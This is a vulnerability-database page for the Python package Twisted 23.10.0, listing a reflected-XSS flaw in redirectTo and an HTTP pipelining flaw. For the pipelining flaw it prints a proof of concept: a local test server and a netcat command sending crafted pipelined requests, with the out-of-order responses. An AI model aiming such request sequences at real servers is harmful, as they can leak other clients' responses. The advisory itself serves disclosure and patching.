Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:pypi/twisted@23.10.0
purl pkg:pypi/twisted@23.10.0
Next non-vulnerable version 24.7.0rc1
Latest non-vulnerable version 24.7.0rc1
Risk 3.8
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-562c-1hjs-hqau
Aliases:
CVE-2024-41810
GHSA-cf56-g6w6-pqq2
PYSEC-2024-75
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.
24.7.0rc1
Affected by 0 other vulnerabilities.
VCID-vz8r-fhqf-zudf
Aliases:
CVE-2024-41671
GHSA-c8m8-j448-xjx7
twisted.web has disordered HTTP pipeline response ### Summary The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. ### PoC 0. Start a fresh Debian container: ```sh docker run --workdir /repro --rm -it debian:bookworm-slim ``` 1. Install twisted and its dependencies: ```sh apt -y update && apt -y install ncat git python3 python3-pip \ && git clone --recurse-submodules https://github.com/twisted/twisted \ && cd twisted \ && pip3 install --break-system-packages . ``` 2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following: ```python from twisted.web import server, resource from twisted.internet import reactor class TheResource(resource.Resource): isLeaf = True def render_GET(self, request) -> bytes: return b"GET" def render_POST(self, request) -> bytes: return b"POST" site = server.Site(TheResource()) reactor.listenTCP(80, site) reactor.run() ``` 3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection: ```sh (printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80 ``` 4. Observe that the responses arrive out of order: ``` HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:41 GMT Content-Length: 5 Content-Type: text/html POST HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 4 Content-Type: text/html GET HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 5 Content-Type: text/html POST ``` ### Impact See [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
24.7.0rc1
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-16T23:04:56.156196+00:00 GitLab Importer Affected by VCID-562c-1hjs-hqau https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 38.4.0
2026-04-16T23:04:55.168375+00:00 GitLab Importer Affected by VCID-vz8r-fhqf-zudf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 38.4.0
2026-04-12T00:22:51.540935+00:00 GitLab Importer Affected by VCID-562c-1hjs-hqau https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 38.3.0
2026-04-12T00:22:50.529418+00:00 GitLab Importer Affected by VCID-vz8r-fhqf-zudf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 38.3.0
2026-04-03T00:30:28.615436+00:00 GitLab Importer Affected by VCID-562c-1hjs-hqau https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 38.1.0
2026-04-03T00:30:27.676902+00:00 GitLab Importer Affected by VCID-vz8r-fhqf-zudf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 38.1.0
2026-04-01T15:16:37.351692+00:00 PyPI Importer Affected by VCID-562c-1hjs-hqau https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip 38.0.0
2026-04-01T12:49:42.789379+00:00 Pypa Importer Affected by VCID-562c-1hjs-hqau https://github.com/pypa/advisory-database/blob/main/vulns/twisted/PYSEC-2024-75.yaml 38.0.0